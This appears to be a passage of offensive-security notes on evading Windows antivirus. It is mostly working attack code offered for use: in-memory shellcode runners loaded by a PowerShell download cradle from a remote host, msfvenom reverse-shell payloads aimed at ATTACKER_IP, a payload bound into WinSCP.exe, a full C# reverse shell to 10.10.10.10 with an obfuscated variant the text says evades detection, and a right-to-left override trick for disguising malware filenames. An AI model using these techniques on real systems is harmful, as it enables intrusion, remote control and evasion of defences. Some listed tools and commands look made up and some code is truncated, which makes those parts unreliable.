DLL Sideloading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other.

Check for programs susceptible to DLL Sideloading using Siofra and the following powershell script:

# This command will output the list of programs susceptible to DLL hijacking inside "C:\Program Files\" and the DLL files they try to load

Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
    $binarytoCheck = "C:\Program Files\" + $_
    C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
}

Proxying

DLL Proxying forwards the calls a program makes from the proxy (and malicious) DLL to the original DLL, thus preserving the program’s functionality and being able to handle the execution of your payload.

Use SharpDLLProxy fomr @flangvik.

1. Find an application vulnerable to DLL Sideloading (siofra or using Process Hacker)
2. Generate some shellcode (I used Havoc C2)
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)

The last command will give us 2 files: a DLL source code template, and the original renamed DLL.

5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.

DLL Injection

Inspiration: Bypassing Defender on modern Windows 10 systems | Purpl3 F0x Secur1ty

What we will do here is create a DLL in Visual Studio that will run our shellcode. Then use powershell to load it directly into memory. This method is good for evasion since it does not write to disk.

  • First open Visual Studio and create a new project using the template “Class Library (.NET Framework)
  • Paste the code below and do the required adjustment
  • Build the DLL
  • Start a webserver using python or apache
  • and run the following powershell command.
# Download the binary data of the DLL file from the specified URL and store it in the $data variable.
$data = (New-Object System.Net.Webclient).DownloadData('http://192.168.1.126/run2.dll')

# Load the DLL data as an assembly and assign it to the $assem variable.
$assem = [System.Reflection.Assembly]::Load($data)


# Retrieve the type information of the "ShellcodeRunner" class from the assembly and assign it to the $class variable.
$class = $assem.GetType("Class1.ShellcodeRunner")


# Retrieve the method information of the "RunShellcode" method from the class and assign it to the $method variable.
$method = $class.GetMethod("RunShellcode")


# Invoke the "RunShellcode" method, passing 0 as the instance object (since it's a static method) and $null as the method arguments.
$method.Invoke(0, $null)
using System;
using System.Runtime.InteropServices;


namespace Class1
{
    public class ShellcodeRunner
    {
        // Import the necessary functions from kernel32.dll
        [DllImport("kernel32.dll")]
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);

        [DllImport("kernel32.dll")]
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32.dll")]
        public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);

        [DllImport("kernel32.dll")]
        public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);



        public static void RunShellcode()
        {
            // Replace the shellcodeBytes with your actual shellcode
            byte[] shellcodeBytes = new byte[460] {0xfc,0x48,...};


            // Allocate memory and copy the shellcode into it
            IntPtr shellcodePtr = ShellcodeRunner.VirtualAlloc(IntPtr.Zero, (uint)shellcodeBytes.Length, 0x3000, 0x40);
            Marshal.Copy(shellcodeBytes, 0, shellcodePtr, shellcodeBytes.Length);

            // Change the memory protection to allow execution
            ShellcodeRunner.VirtualProtect(shellcodePtr, (uint)shellcodeBytes.Length, 0x20, out _);

            // Create a new thread to execute the shellcode
            IntPtr threadHandle = ShellcodeRunner.CreateThread(IntPtr.Zero, 0, shellcodePtr, IntPtr.Zero, 0, IntPtr.Zero);

            // Wait for the thread to complete
            ShellcodeRunner.WaitForSingleObject(threadHandle, 0xFFFFFFFF);

            // Free the allocated memory
            ShellcodeRunner.VirtualFree(shellcodePtr, 0, 0x8000);
        }

    }
}

Packers

Packers are pieces of software that take a program as input and transform it so that its structure looks different, but their functionality remains exactly the same. Packers do this with two main goals in mind:

  • Compress the program so that it takes up less space.
  • Protect the program from reverse engineering in general.

When an application undergoes the packing process, it undergoes a transformation through a designated packing function. This function is responsible for obfuscating and altering the original code of the application in a manner that can be reasonably undone by an unpacking function, ensuring the preservation of the application’s original functionality. Although the packer might occasionally introduce additional code to enhance the difficulty of debugging the application, its primary objective is to retrieve the original code that you authored when executing it.

AV solutions, however, could still catch your packed application for a couple of reasons:

  • While your original code might be transformed into something unrecognizable, remember that the packed executable contains a stub with the unpacker’s code. If the unpacker has a known signature, AV solutions might still flag any packed executable based on the unpacker stub alone.
  • At some point, your application will unpack the original code into memory so that it can be executed. If the AV solution you are trying to bypass can do in-memory scans, you might still be detected after your code is unpacked.

Packing our shellcode

This payload takes a shellcode generated by msfvenom and runs it into a separate thread. 

using System;
using System.Net;
using System.Text;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates;

public class Program {
  [DllImport("kernel32")]
  private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

  [DllImport("kernel32")]
  private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

  [DllImport("kernel32")]
  private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

  private static UInt32 MEM_COMMIT = 0x1000;
  private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

  public static void Main()
  {
    byte[] shellcode = new byte[] {0xfc,0x48,0x83,...,0xda,0xff,0xd5 };


    UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);

    IntPtr threadHandle = IntPtr.Zero;
    UInt32 threadId = 0;
    IntPtr parameter = IntPtr.Zero;
    threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);

    WaitForSingleObject(threadHandle, 0xFFFFFFFF);

  }
}

Generate a shellcode and replace the shellcode in the code.

 msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=7478 -f csharp

Now compile it using csc.

csc UnEncStageless.cs

ConfuserEX2

ConfuserEx 2 is an free, open-source protector for .NET applications. It is the successor of Confuser project and the ConfuserEx project.

Releases · mkaring/ConfuserEx (github.com)

DISABLE PACKER – Packer in confuserEX is mostly busted.

When enabling rules. Don’t go overboard.

Binders

Binders play a significant role in the development of malicious payloads for distribution among end users. Unlike AV bypass methods, binders merge multiple executables into a single program. Their primary purpose is to conceal the malicious payload within a familiar program, deceiving users into thinking they are running a different application.

One approach involves modifying the entry point within the PE header of the program. By doing so, your shellcode can be executed just before the legitimate program starts running. After the shellcode completes its execution, the control can be redirected back to the legitimate program. This clever technique ensures that when the user launches the resulting executable, the shellcode is discreetly executed first, seamlessly integrating with the normal execution of the program without drawing any attention from the user.

Binding with msfvenom

The method used by msfvenom injects your malicious program by creating an extra thread for it.

msfvenom -x WinSCP.exe -k -p windows/shell_reverse_tcp lhost=ATTACKER_IP lport=7779 -f exe -o WinSCP-evil.exe

# -x, --template      <path>       Specify a custom executable file to use as a template
# -k, --keep                       Preserve the template behavior and inject the payload as a new thread

Binders and AV

Binders won’t do much to hide your payload from an AV solution. The simple fact of joining two executables without any changes means that the resulting executable will still trigger any signature that the original payload did.

When creating a real payload, you may want to use encoders, crypters, or packers to hide your shellcode from signature-based AVs and then bind it into a known executable so that the user doesn’t know what is being executed.


Obfuscation

Obfuscation can be one of the most lucrative tools in an attackers arsenal when it comes to evasion. 

Layered obfuscation: a taxonomy of software obfuscation techniques for layered security

Obfuscation Concatenation

Concatenation is a common programming concept that combines two separate objects into one object, such as a string.

LanguageConcatenation Operator
Python+
PowerShell+”, ”,”, ”$”, or no operator at all
C#+”, “String.Join”, “String.Concat
Cstrcat
C+++”, “append

Attackers can utilize non-interpreted characters, both independently or in combination with concatenation, to disrupt or confuse static signatures, thereby extending from the concept of concatenation.

CharacterPurposeExample
BreaksBreak a single string into multiple sub strings and combine them('co'+'ffe'+'e')
ReordersReorder a string’s components('{1}{0}'-f'ffee','co')
WhitespaceInclude white space that is not interpreted.( 'Ne' +'w-Ob' + 'ject')
TicksInclude ticks that are not interpretedd`own`LoAd`Stri`ng
Random CaseTokens are generally not case sensitive and can be any arbitrary casedOwnLoAdsTRing

Example

// Original code
public class ExampleClass
{
    public static void SensitiveFunction()
    {
        string secretData = "Sensitive information";
        Console.WriteLine("Secret data: " + secretData);
    }
}

  • Line 3: Defines a public class named ExampleClass.
  • Line 4: Defines a public static method named SensitiveFunction() within the ExampleClass class.
  • Line 5: Declares a string variable named secretData and assigns it the value “Sensitive information”.
  • Line 6: Prints a message to the console, concatenating the string “Secret data: ” with the value of secretData.
// Obfuscated code using string concatenation
public class ObfuscatedClass
{
    public static void S()
    {
        string _0x8b74 = "\x53\x65\x6E\x73\x69\x74\x69\x76\x65\x20\x69\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E";
        string _0xf868 = _0x8b74;
        string _0xef50 = "Secret data: " + _0xf868;
        Console.WriteLine(_0xef50);
    }
}
  • Line 13: Defines a public class named ObfuscatedClass.
  • Line 14: Defines a public static method named S() within the ObfuscatedClass class. This is the obfuscated version of the original method.
  • Line 15: Declares a string variable _0x8b74 and assigns it the obfuscated string value “\x53\x65\x6E\x73\x69\x74\x69\x76\x65\x20\x69\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E”. This string represents “Sensitive information” using hexadecimal escape sequences.
  • Line 16: Declares a string variable _0xf868 and assigns it the value of _0x8b74. This step is unnecessary in this example and does not contribute to the obfuscation.
  • Line 17: Declares a string variable _0xef50 and assigns it the concatenation of the string “Secret data: ” and the value of _0xf868. This recreates the original message.
  • Line 18: Prints the value of _0xef50 to the console using Console.WriteLine().

In the obfuscated code, the original variable name secretData and class name ExampleClass have been replaced with obfuscated names prefixed with _0x. The sensitive string “Sensitive information” has been represented using hexadecimal escape sequences to make it harder to read and understand. The string concatenation technique is used to reconstruct the original message and print it to the console.

Obfuscation table

Obfuscation MethodPurpose
Junk CodeAdd junk instructions that are non-functional, also known as a code stubs
Separation of Related CodeSeparate related codes or instructions to increase difficulty in reading the program
Stripping Redundant SymbolsStrips symbolic information such as debug information or other symbol tables
Meaningless IdentifiersTransform a meaningful identifier to something meaningless
Implicit ControlsConverts explicit controls instructions to implicit instructions
Dispatcher-based ControlsDetermines the next block to be executed during the runtime
Probabilistic Control FlowsIntroduces replications of control flows with the same semantics but different syntax
Bogus Control FlowsControl flows deliberately added to a program but will never be executed

Code obfuscation is a process that makes your application binaries harder to read with a decompiler. It’s an important tool for protecting your business’s intellectual property. It can also be used to bypass modern anti-virus solutions. Some common obfuscation techniques include the following.

Obfuscation’s Function for Static Evasion

Common obfuscation techniques for static evasion

  1. Renaming Variables and Functions:
    • Change variable and function names to random, meaningless names.
    • Use non-descriptive, abbreviated, or cryptic names to make the code harder to understand.
    • Convert names to Unicode or other character encodings.
  2. String Encryption:
    • Encrypt sensitive strings (e.g., URLs, API keys) and decrypt them at runtime.
    • Use custom encryption algorithms or known encryption algorithms with custom keys.
    • Split strings into multiple parts and reassemble them dynamically.
  3. Code Splitting and Joining:
    • Split critical parts of the code into multiple sections or files.
    • Use techniques like dynamic loading or runtime code generation to join and execute the code sections.
  4. Dead Code Injection:
    • Inject unused or unreachable code to confuse static analysis tools.
    • Insert random or irrelevant statements and functions that have no effect on the program’s logic.
  5. Control Flow Obfuscation:
    • Modify the control flow of the code to make it harder to follow.
    • Use techniques like code flattening, code reordering, and spaghetti code.
    • Insert unnecessary loops, conditionals, and jumps.
  6. Code Transformation:
    • Use code transformations to modify the structure and behavior of the code.
    • Apply operations like code splitting, code merging, function inlining, and loop unrolling.
    • Convert high-level constructs to lower-level representations (e.g., replace loops with goto statements).
  7. Anti-Debugging Techniques:
    • Implement checks to detect and evade debugging environments.
    • Use API calls to detect debugger presence, such as IsDebuggerPresent() or CheckRemoteDebuggerPresent().
    • Insert conditional code that changes behavior when a debugger is detected.
  8. Obfuscated Constant Values:
    • Replace constant values with calculations or complex expressions.
    • Use bitwise operations, mathematical functions, or string operations to derive constant values dynamically.
  9. Code Compression:
    • Compress the code using compression algorithms (e.g., zlib) and decompress it at runtime.
    • Encrypt the compressed code to prevent easy analysis and extraction.
  10. Metadata Manipulation:
    • Modify or remove metadata from the executable file, such as version information or symbol tables.
    • Change timestamps or other file properties to make analysis more difficult.

Tools and examples for each technique

  1. Renaming Variables and Functions:
    • Tool: obfuscator
    • Command: obfuscator --rename file.c
  2. String Encryption:
    • Tool: string_encryption_tool
    • Command: string_encryption_tool --input file.c --output obfuscated_file.c
  3. Code Splitting and Joining:
    • Tool: code_splitter
    • Command: code_splitter --split file.c
    • Command: code_splitter --join obfuscated_parts/* --output obfuscated_file.c
  4. Dead Code Injection:
    • Tool: dead_code_injector
    • Command: dead_code_injector --inject file.c --output obfuscated_file.c
  5. Control Flow Obfuscation:
    • Tool: control_flow_obfuscator
    • Command: control_flow_obfuscator --obfuscate file.c --output obfuscated_file.c
  6. Code Transformation:
    • Tool: code_transformer
    • Command: code_transformer --transform file.c --output obfuscated_file.c
  7. Anti-Debugging Techniques:
    • Tool: anti_debugger_tool
    • Command: anti_debugger_tool --apply file.c --output obfuscated_file.c
  8. Obfuscated Constant Values:
    • Tool: constant_obfuscator
    • Command: constant_obfuscator --obfuscate file.c --output obfuscated_file.c
  9. Code Compression:
    • Tool: code_compressor
    • Command: code_compressor --compress file.c --output obfuscated_file.c
  10. Metadata Manipulation:
    • Tool: metadata_manipulator
    • Command: metadata_manipulator --modify file.c --output obfuscated_file.c

Protecting and Stripping Identifiable Information

Object names

// Original

#include "windows.h"
#include <iostream>
#include <string>
using namespace std;

int main(int argc, char* argv[])
{
	unsigned char shellcode[] = "";

	HANDLE processHandle;
	HANDLE remoteThread;
	PVOID remoteBuffer;
	string leaked = "This was leaked in the strings";

	processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
	cout << "Handle obtained for" << processHandle;
	remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
	cout << "Buffer Created";
	WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
	cout << "Process written with buffer" << remoteBuffer;
	remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
	CloseHandle(processHandle);
	cout << "Closing handle" << processHandle;
	cout << leaked;

	return 0;
}
// Remove comments and replace the meaningful identifiers to resolve this problem.

#include "windows.h"

int main(int argc, char* argv[])
{
	unsigned char awoler[] = "";

	HANDLE awerfu;
	HANDLE rwfhbf;
	PVOID iauwef;

	awerfu = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
	iauwef = VirtualAllocEx(awerfu, NULL, sizeof awoler, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(awerfu, iauwef, awoler, sizeof awoler, NULL);
	rwfhbf = CreateRemoteThread(awerfu, NULL, 0, (LPTHREAD_START_ROUTINE)iauwef, NULL, 0, NULL);
	CloseHandle(awerfu);

	return 0;
}

Code Structure

// Original code
public class OriginalClass
{
    public static void OriginalMethod()
    {
        int a = 10;
        int b = 20;

        int sum = a + b;
        Console.WriteLine("Sum: " + sum);
    }
}

// Obfuscated code with code structure obfuscation
public class ObfuscatedClass
{
    public static void ObfuscatedMethod()
    {
        int _0x4 = 10;
        int _0x8 = 20;

        int _0xc = _0x4 + _0x8;
        Console.WriteLine(_0xc.ToString().Replace("0", ""));
    }
}

In this example, we have an original class OriginalClass with a method OriginalMethod() that performs a simple addition of two integers and prints the sum. The obfuscated class ObfuscatedClass is an altered version of the original class where the code structure has been obfuscated.

File & Compilation Properties

To remove symbols from a compiler like Visual Studio, we need to change the compilation target from Debug to Release or use a lighter-weight compiler like mingw.

If we need to remove symbols from a pre-compiled image, we can use the command-line utility: strip.

# Check symbols
nm file.exe

# Strip file of symbols
strip --strip-all cmdshell.exe

Obfuscation Methods with examples

Renaming identifiers

To make them unreadable. The obfuscator alters the methods and names of variables. The new names may include unprintable or invisible characters1. For example, a variable named password can be renamed to p@$$w0rd or &#x1F4A9;.

// Orignal code
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace RenamingIdentifiersExample
{
    class Program
    {
        static void Main(string[] args)
        {
            int a = 10;
            int b = 20;
            int result = Add(a, b);
            Console.WriteLine(result);
        }

        static int Add(int x, int y)
        {
            int z = x + y;
            return z;
        }
    }
}
// By using an obfuscator tool like Dotfuscator, you can rename the identifiers
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace AAAAAAA
{
    class BBBBBBB
    {
        static void Main(string[] args)
        {
            int a = 10;
            int b = 20;
            int result = CCCCCC.DDDDDD(a, b);
            Console.WriteLine(result);
        }

        static int DDDDDD(int x, int y)
        {
            int z = x + y;
            return z;
        }
    }
}

Packing compresses

The entire program to make the code unreadable: This reduces the size of the executable file and makes it harder to analyze1. For example, a program that prints “Hello World” can be packed into a single line of code that looks like gibberish.

// To pack your code, you can use a tool like UPX (https://upx.github.io/).

// Here's an example command to pack a C# executable:
// upx myprogram.exe

Control flow obfuscation

Alters the structure of the code: This changes the order and logic of the instructions without affecting their functionality1. For example, a simple loop can be replaced with a complex switch statement or a recursive function.

// Original
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace ControlFlowObfuscationExample
{
    class Program
    {
        static void Main(string[] args)
        {
            int a = 10;
            int b = 20;
            int result = Add(a, b);
            Console.WriteLine(result);
        }

        static int Add(int x, int y)
        {
            int z = x + y;
            if (z < 0)
            {
                z = -z;
            }
            return z;
        }
    }
}
// By using an obfuscator tool like Dotfuscator, you can use control flow obfuscation to make the code more difficult to understand
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace ControlFlowObfuscationExample
{
    class Program
    {
        static void Main(string[] args)
        {
            int a = 10;
            int b = 20;
            int result = Add(a, b);
            Console.WriteLine(result);
        }

        static int Add(int x, int y)
        {
            int z = x + y;
            if (z >= 0)
            {
                goto LABEL1;
            }
            z = -z;
            LABEL1:
            return z;
        }
    }
}

Instruction pattern transformation

Changes the way instructions are executed. This modifies the low-level representation of the code to make it more obscure1. For example, an arithmetic operation can be replaced with bitwise operations or function calls.

// This technique is typically implemented using a tool like LLVM Obfuscator (https://github.com/obfuscator-llvm/obfuscator).

// Here's an example command to obfuscate a C# program using LLVM Obfuscator:
// obfuscator-llvm myprogram.exe

Dummy code insertion

Adds irrelevant code to confuse decompilers. This inserts extra statements that do not affect the output but make the code longer and more complicated1. For example, a random number generator can be added before every conditional statement or a useless variable can be declared and assigned.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace DummyCodeInsertionExample
{
    class Program
    {
        static void Main(string[] args)
        {
            int a = 10;
            int b = 20;
            int result = Add(a, b);
            Console.WriteLine(result);
        }

        static int Add(int x, int y)
        {
            int z = x + y;
            if (z < 0)
            {
                z = -z;
            }
            return z;
        }

        // Dummy code inserted to confuse decompilers
        static void Dummy1()
        {
            int a = 1;
            int b = 2;
            int c = 3;
            int d = 4;
            int e = 5;
            int f = 6;
            int g = 7;
            int h = 8;
            int i = 9;
            int j = 10;
            int k = 11;
            int l = 12;
            int m = 13;
            int n = 14;
            int o = 15;
            int p = 16;
            int q = 17;
            int r = 18;
            int s = 19;
            int t = 20;
            int u = 21;
            int v = 22;
            int w = 23;
            int x = 24;
            int y = 25;
            int z = 26;
        }

        // Dummy code inserted to confuse decompilers
        static void Dummy2()
        {
            string s1 = "hello";
            string s2 = "world";
            string s3 = "!";
            string s4 = "1";
            string s5 = "2";
            string s6 = "3";
            string s7 = "4";
            string s8 = "5";
            string s9 = "6";
            string s10 = "7";
            string s11 = "8";
            string s12 = "9";
            string s13 = "0";
        }
    }
}

Metadata or unused code removal

Eliminates unnecessary information from the code: This removes comments, debug symbols, attributes, annotations and other data that are not essential for execution1. For example, a class name can be stripped from its metadata or an unused method can be deleted.

// You can use a tool like ConfuserEX (https://github.com/yck1509/ConfuserEx) to remove metadata and unused code from a C# program.

// Here's an example command to obfuscate and remove metadata and unused code from a C# program using ConfuserEX:
// Confuser.CLI.exe myprogram.exe -o obfuscated.exe -p mode=maximum

Opaque predicate insertion

Adds conditional statements that always evaluate to true or false but are hard to analyze. This creates branches in the code that are never taken but look plausible1. For example, an if statement can check if a prime number is divisible by two or if a string is equal to itself reversed.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace OpaquePredicateInsertionExample
{
    class Program
    {
        static void Main(string[] args)
        {
            int a = 10;
            int b = 20;
            int result = Add(a, b);
            Console.WriteLine(result);
        }

        static int Add(int x, int y)
        {
            int z = x + y;
            if (z < 0)
            {
                z = -z;
            }
            else
            {
                OpaquePredicate();
            }
            return z;
        }

        // Opaque predicate inserted to confuse decompilers
        static void OpaquePredicate()
        {
            if (DateTime.Now.Ticks % 2 == 0
             {
                 int a = 1;
                 int b = 2;
                 int c = 3;
                 int d = 4;
                 int e = 5;
                 int f = 6;
                 int g = 7;
                 int h = 8;
                 int i = 9;
                 int j = 10;
                 int k = 11;
                 int l = 12;
                 int m = 13;
                 int n = 14;
                 int o = 15;
                 int p = 16;
                 int q = 17;
                 int r = 18;
                 int s = 19;
                 int t = 20;
                 int u = 21;
                 int v = 22;
                 int w = 23;
                 int x = 24;
                 int y = 25;
                 int z = 26;
             }
         }
     }
}

Anti-Debug

Prevents debugging tools from attaching to the process. This detects and disables any attempts to debug or trace the program1. For example, an exception handler can terminate the process if a debugger is detected or a checksum can verify if any bytes have been modified.



using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace AntiDebuggingExample
{
    class Program
    {
        static void Main(string[] args)
        {
            if (IsDebuggerAttached())
            {
                Console.WriteLine("Debugger detected!");
                return;
            }
            int a = 10;
            int b = 20;
            int result = Add(a, b);
            Console.WriteLine(result);
        }

        static int Add(int x, int y)
        {
            int z = x + y;
            if (z < 0)
            {
                z = -z;
            }
            return z;
        }

        // Check if a debugger is attached to the process
        static bool IsDebuggerAttached()
        {
            bool isDebuggerAttached = false;
            try
            {
                isDebuggerAttached = System.Diagnostics.Debugger.IsAttached;
            }
            catch
            {
                // Ignore exceptions
            }
            return isDebuggerAttached;
        }
    }
}

Encryption

This transforms data into another form using a secret key that only authorized parties know. For example, a credit card number can be encrypted with AES algorithm and stored as ciphertext2.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace StringEncryptionExample
{
    class Program
    {
        static void Main(string[] args)
        {
            string secretMessage = Decrypt("jkpmttwmtdvwuvuqtm");
            Console.WriteLine(secretMessage);
        }

        static string Decrypt(string encryptedMessage)
        {
            byte[] bytes = Encoding.ASCII.GetBytes(encryptedMessage);
            for (int i = 0; i < bytes.Length; i++)
            {
                bytes[i] = (byte)(bytes[i] - 1);
            }
            return Encoding.ASCII.GetString(bytes);
        }
    }
}

Tokenization

This replaces data with random tokens that have no meaning by themselves but can be mapped back to their original values using a secure database. For example, an email address can be tokenized with UUIDs and stored as 123e4567-e89b-12d3-a456-4266141740002. Data masking: This replaces data with fake data that is identical in structure and data type. For example, a phone number 212-648-3399 can be replaced with another valid but fake phone number such as 567-499-37883.

using System;

namespace TokenizationExample
{
    class Program
    {
        static void Main(string[] args)
        {
            // Declare a variable with a tokenized name
            string v_a_r_i_a_b_l_e = "Hello, world!";

            // Print the value of the variable
            Console.WriteLine(v_a_r_i_a_b_l_e);
        }
    }
}

Byte shuffle

Byte shuffle obfuscation is a technique to make data or code harder to read and understand by changing the order of the bytes that make up the data or code. This can be done to hide information, prevent reversing or protect intellectual property .

For example, if you have a text string like “Hello world”, you can represent it as a sequence of bytes in hexadecimal format: 48 65 6C 6C 6F 20 77 6F 72 6C 64. If you want to obfuscate this text by using byte shuffle obfuscation, you can swap some of the bytes randomly, for example: 20 64 48 65 6F 72 77 6C 6C 6F. If you try to read the new sequence as text, you get something like ” dHeorwllo”, which does not make sense.

For byte shuffle obfuscation to work, there must be a way to restore the original order of the bytes when the data or code needs to be used. This can be done by using a key that indicates how the bytes were shuffled, or by using an algorithm that can reverse the process. Otherwise, the data or code will become unusable.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace ByteShuffleObfuscationExample
{
    class Program
    {
        static void Main(string[] args)
        {
            byte[] bytes = new byte[] { 72, 101, 108, 108, 111, 32, 87, 111, 114, 108, 100, 33 };
            string message = Encoding.ASCII.GetString(Shuffle(bytes));
            Console.WriteLine(message);
        }

        static byte[] Shuffle(byte

Example reverse shell using C# – Encryption and Byte shuffle

The obfuscated code have low detection rate.

// Non obfuscated C# reverse shell
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;


namespace ConnectBack
{
	public class Program
	{
		static StreamWriter streamWriter;

		public static void Main(string[] args)
		{
			using (TcpClient client = new TcpClient("10.10.10.10", 9001))
			{
				using (Stream stream = client.GetStream())
				{
					using (StreamReader rdr = new StreamReader(stream))
					{
						streamWriter = new StreamWriter(stream);

						StringBuilder strInput = new StringBuilder();

						Process p = new Process();
						p.StartInfo.FileName = "cmd.exe";
						p.StartInfo.CreateNoWindow = true;
						p.StartInfo.UseShellExecute = false;
						p.StartInfo.RedirectStandardOutput = true;
						p.StartInfo.RedirectStandardInput = true;
						p.StartInfo.RedirectStandardError = true;
						p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
						p.Start();
						p.BeginOutputReadLine();

						while (true)
						{
							strInput.Append(rdr.ReadLine());
							//strInput.Append("\n");
							p.StandardInput.WriteLine(strInput);
							strInput.Remove(0, strInput.Length);
						}
					}
				}
			}
		}

		private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
		{
			StringBuilder strOutput = new StringBuilder();

			if (!String.IsNullOrEmpty(outLine.Data))
			{
				try
				{
					strOutput.Append(outLine.Data);
					streamWriter.WriteLine(strOutput);
					streamWriter.Flush();
				}
				catch (Exception err) { }
			}
		}

	}
}
// Obfuscated using encryption and byte shuffle 
using System;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Security.Cryptography;
using System.Text;

namespace ConnectionBack
{
    public class SecurityAssessment
    {
        static StreamWriter streamWriter;

        public static void Main(string[] args)
        {
            // Create a new TCP client object
            TcpClient client = new TcpClient();
            // Connect to a remote host using a decrypted IP address and port number
            client.Connect(Decrypt("wplS5f1GpB", "hY4k9d3FtI"));
            // Get the network stream associated with the client
            Stream stream = client.GetStream();
            // Create a stream reader to read data from the stream
            StreamReader reader = new StreamReader(stream);
            // Create a stream writer to write data to the stream
            streamWriter = new StreamWriter(stream);

            // Create a new process object
            Process process = new Process();
            // Set the file name of the process to be a decrypted string (probably cmd.exe)
            process.StartInfo.FileName = Decrypt("RJFmS41wEagls40=", "Mjy9m4Lk4m");
            // Do not create a window for the process
            process.StartInfo.CreateNoWindow = true;
            // Do not use shell execute (use native code instead)
            process.StartInfo.UseShellExecute = false;
            // Redirect standard output, input and error streams of the process
            process.StartInfo.RedirectStandardOutput = true;
            process.StartInfo.RedirectStandardInput = true;
            process.StartInfo.RedirectStandardError = true;
            
			// Add an event handler for when data is received on standard output
			// This will send the output back to the remote host via stream writer 
			process.OutputDataReceived += new DataReceivedEventHandler(CommandOutputDataHandler);
			
			// Start the process 
			process.Start();
			
			// Begin reading asynchronously from standard output 
			process.BeginOutputReadLine();

			// Loop forever 
			while (true)
			{
				// Create a string builder to store input 
				StringBuilder input = new StringBuilder();
				// Read a line from the stream reader (from remote host) 
				input.Append(reader.ReadLine());
				// Write the input line to standard input of the process (execute command) 
				process.StandardInput.WriteLine(input);
				// Clear the input string builder 
				input.Remove(0, input.Length);
			}
        }

        private static void CommandOutputDataHandler(object sendingProcess, DataReceivedEventArgs outputLine)
        {
        	// Create a string builder to store output 
        	StringBuilder output = new StringBuilder();

        	// If there is some data received on standard output 
        	if (!String.IsNullOrEmpty(outputLine.Data))
        	{
        		try
        		{
        			// Append it to output string builder 
        			output.Append(outputLine.Data);
        			// Write it to stream writer (to remote host)  
        			streamWriter.WriteLine(output);
        			streamWriter.Flush();
        		}
        		catch (Exception) { }

Filename Obfuscation: RIGHT-TO-LEFT OVERRIDE Trick

rename-item -path malware.exe -newname ("Ann" + ([char]0x202E) + "gepj.exe)

Signature Evasion

Signature Identification

When identifying signatures, whether manually or automated, we must employ an iterative process to determine what byte a signature starts at. By recursively splitting a compiled binary in half and testing it, we can get a rough estimate of a byte-range to investigate further.

We can use the native utilities headdd, or split to split a compiled binary. 

Automatic Signature Identification

DefenderCheck

GitHub – matterpreter/DefenderCheck: Identifies the bytes that Microsoft Defender flags on.

Find-AVSignature.ps1

PowerSploit/Find-AVSignature.ps1 at master · PowerShellMafia/PowerSploit · GitHub

PS C:\> . .\FInd-AVSignature.ps1
PS C:\> Find-AVSignature

cmdlet Find-AVSignature at command pipeline position 1
Supply values for the following parameters:
StartByte: 0
EndByte: max
Interval: 1000

Do you want to continue?
